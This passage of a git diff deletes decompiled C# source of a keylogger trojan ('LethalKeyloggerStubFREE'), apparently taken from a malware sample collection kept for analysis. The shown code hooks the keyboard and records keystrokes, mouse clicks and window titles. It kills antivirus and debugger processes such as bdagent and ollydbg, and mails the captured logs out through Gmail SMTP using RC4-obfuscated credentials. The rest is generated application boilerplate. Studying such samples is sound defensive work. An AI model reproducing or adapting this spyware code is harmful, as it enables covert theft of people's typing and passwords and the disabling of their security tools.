- return; - this.innerz666.Text += "\\"; - } - } - else if (Key == Keys.Oemtilde) - { - if (this.shift) - { - this.innerz666.Text += "~"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "`"; - } - } - else if (Key == Keys.Tab) - { - this.innerz666.Text += "[tab]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Subtract) - this.innerz666.Text += "-"; - else if (Key == Keys.Capital) - this.innerz666.Text += "[caps]"; - else if (Key == Keys.Space) - this.innerz666.Text += " "; - else if (Key == Keys.Add) - this.innerz666.Text += "+"; - else if (Key == Keys.Back) - this.innerz666.Text += "[<]"; - else if (Key == Keys.LControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.RControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Decimal) - this.innerz666.Text += "."; - else if (Key == Keys.Delete) - this.innerz666.Text += "[<]"; - else if (Key == Keys.Divide) - this.innerz666.Text += "/"; - else if (Key == Keys.Down) - this.innerz666.Text += "[down]"; - else if (Key == Keys.End) - this.innerz666.Text += "[end]"; - else if (Key == Keys.Return) - { - this.innerz666.Text += "\r\n"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Escape) - { - this.innerz666.Text += "[esc]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Home) - this.innerz666.Text += "[home]"; - else if (Key == Keys.Insert) - this.innerz666.Text += "[insert]"; - else if (Key == Keys.Left) - this.innerz666.Text += "[<-]"; - else if (Key == Keys.Multiply) - this.innerz666.Text += "*"; - else if (Key == Keys.Next) - this.innerz666.Text += "[p-down]"; - else if (Key == Keys.Prior) - this.innerz666.Text += "[p-up]"; - else if (Key == Keys.Snapshot) - this.innerz666.Text += "[printscreen]"; - else if (Key == Keys.Return) - this.innerz666.Text += "\r\n"; - else if (Key == Keys.Scroll) - this.innerz666.Text += "[scroll]"; - else if (Key == Keys.Up) - this.innerz666.Text += "[up]"; - else if (Key == Keys.Right) - this.innerz666.Text += "[->]"; - else if (Key == Keys.Pause) - this.innerz666.Text += "[pause]"; - else if (Key == Keys.F1) - this.innerz666.Text += "[F1]"; - else if (Key == Keys.F2) - this.innerz666.Text += "[F2]"; - else if (Key == Keys.F3) - this.innerz666.Text += "[F3]"; - else if (Key == Keys.F4) - { - this.innerz666.Text += "[F4]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.F5) - this.innerz666.Text += "[F5]"; - else if (Key == Keys.F6) - this.innerz666.Text += "[F6]"; - else if (Key == Keys.F7) - this.innerz666.Text += "[F7]"; - else if (Key == Keys.F8) - this.innerz666.Text += "[F8]"; - else if (Key == Keys.F9) - this.innerz666.Text += "[F9]"; - else if (Key == Keys.F10) - this.innerz666.Text += "[F10]"; - else if (Key == Keys.F11) - this.innerz666.Text += "[F11]"; - else if (Key == Keys.F12) - this.innerz666.Text += "[F12]"; - else if (Key == Keys.F13) - this.innerz666.Text += "[F13]"; - else if (Key == Keys.F14) - this.innerz666.Text += "[F14]"; - else if (Key == Keys.F15) - this.innerz666.Text += "[F15]"; - else if (Key == Keys.NumPad0) - this.innerz666.Text += "0"; - else if (Key == Keys.NumPad1) - this.innerz666.Text += "1"; - else if (Key == Keys.NumPad2) - this.innerz666.Text += "2"; - else if (Key == Keys.NumPad3) - this.innerz666.Text += "3"; - else if (Key == Keys.NumPad4) - this.innerz666.Text += "4"; - else if (Key == Keys.NumPad5) - this.innerz666.Text += "5"; - else if (Key == Keys.NumPad6) - this.innerz666.Text += "6"; - else if (Key == Keys.NumPad7) - this.innerz666.Text += "7"; - else if (Key == Keys.NumPad8) - this.innerz666.Text += "8"; - else if (Key == Keys.NumPad9) - { - this.innerz666.Text += "9"; - } - else - { - if (Key != Keys.NumLock) - return; - this.innerz666.Text += "[numlock]"; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vkey); - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!MyProject.Computer.Network.IsAvailable) - return; - try - { - this.esendz666.Text = Form1.rc4(this.interz666.Text, "9pz666"); - try - { - this.esendx666.Text = Form1.rc4(this.interx666.Text, "9pz667"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new SmtpClient() - { - Host = "smtp.gmail.com", - Port = Conversions.ToInteger("587"), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.esendz666.Text, this.esendx666.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.esendz666.Text), - To = { - this.esendz666.Text - }, - Body = this.innerz666.Text, - Subject = "Lethal Keylogs" - }); - this.innerz666.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Form1.GetAsyncKeyState(2L) == -32767) - { - this.innerz666.Text += "[RB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - } - if (Form1.GetAsyncKeyState(1L) != -32767) - return; - this.innerz666.Text += "[LB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(this.check9, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("sample"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check10, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("outpost"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check11, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("npfmsg"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check12, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("bdagent"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check18, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("keyscrambler"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check21, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("ollydbg"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyApplication.cs deleted file mode 100644 index add242cd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyApplication -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyComputer.cs deleted file mode 100644 index 7d6dab30..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyComputer -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyProject.cs deleted file mode 100644 index c04afd6e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyProject -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettings.cs deleted file mode 100644 index 6e3b2518..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettings.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettings -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - - [UserScopedSetting] - [DefaultSettingValue("True")] - [DebuggerNonUserCode] - public bool runonce - { - get => Conversions.ToBoolean(this[nameof (runonce)]); - set => this[nameof (runonce)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettingsProperty.cs deleted file mode 100644 index 6a30a66f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettingsProperty -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/Resources/Resources.cs deleted file mode 100644 index ff53a2d9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.Resources.Resources -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) MicrosoftWindows.My.Resources.Resources.resourceMan, (object) null)) - 